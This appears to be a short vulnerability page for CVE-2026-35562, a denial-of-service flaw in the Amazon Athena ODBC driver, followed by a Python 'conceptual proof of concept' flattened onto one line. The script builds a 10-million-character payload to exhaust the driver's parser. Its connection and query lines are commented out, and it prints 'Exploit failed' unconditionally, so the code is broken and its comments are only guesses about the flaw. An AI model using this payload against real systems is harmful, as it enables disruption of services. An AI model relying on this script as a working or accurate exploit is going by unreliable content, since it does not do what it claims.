CVE-2026-35562 Amazon Athena ODBC driver 拒绝服务漏洞

import pyodbc import sys # Conceptual Proof of Concept for CVE-2026-35562 # This script demonstrates how a crafted input might trigger resource exhaustion. # Note: This requires a vulnerable environment to reproduce the crash. def exploit_cve_2026_35562(): # Target connection string (Placeholder) conn_str = 'DRIVER={Amazon Athena ODBC Driver};...' # Crafted malicious input designed to trigger excessive resource allocation # during parsing operations in the driver. # Adjust size based on environment limits to trigger the DoS condition. malicious_payload = "A" * 10000000 try: print("[+] Attempting to connect to vulnerable driver...") # In a real scenario, this would connect to the vulnerable driver instance # conn = pyodbc.connect(conn_str) # cursor = conn.cursor() # Simulating the execution of a query containing the malicious payload # The parser component attempts to process this large input without limits. print("[+] Sending crafted input to trigger parsing...") # cursor.execute(f"SELECT '{malicious_payload}'") print("[-] Exploit failed: Service did not crash (may already be patched).") except Exception as e: print(f"[!] Exception occurred: {e}") print("[!] Potential DoS condition triggered if connection drops or OOM occurs.") if __name__ == "__main__": exploit_cve_2026_35562()